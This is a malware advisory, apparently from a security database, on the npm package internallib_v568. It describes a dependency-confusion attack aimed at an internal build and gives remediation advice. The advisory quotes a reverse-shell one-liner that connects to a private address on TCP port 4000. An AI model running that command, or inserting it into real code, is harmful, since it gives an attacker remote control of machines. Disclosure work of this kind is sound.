Malicious code in internallib_v568 (npm)

__

Source: amazon-inspector (755dfc0e12b6602ff21d04446f2c6bdc23499c0bd9645c14b9209dc25fbb0be5)

internallib_v568@1.0.1 is shaped as a dependency-confusion artifact against a private package name. The main module exports a payload containing a reverse-shell one-liner (/bin/sh -i >& /dev/tcp/10.0.64.141/4000 0>&1) directed at an RFC1918 address on TCP/4000. package.json declares the package as its own dependency ("internallib_v568": "^1.0.0"), and a shipped.gitlab-ci.yml runs npm update --registry http://0.0.0.0:4873/ and then requires the module — consistent with resolution against an internal Verdaccio registry. The embedded shell one-liner is not syntactically valid JavaScript and would throw at require-time rather than execute, so the reverse shell does not actually open on install in its current form; however, the hardcoded internal endpoint, the self-referential dependency, and the internal-registry CI wiring together document a deliberate attempt to land a reverse-shell payload inside an internal build via name-confusion.

Source: ghsa-malware (eee6d51dbfb5a2a8298a79b74b7c001e17985a1b438f9299a818a9c6c26e51e4)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.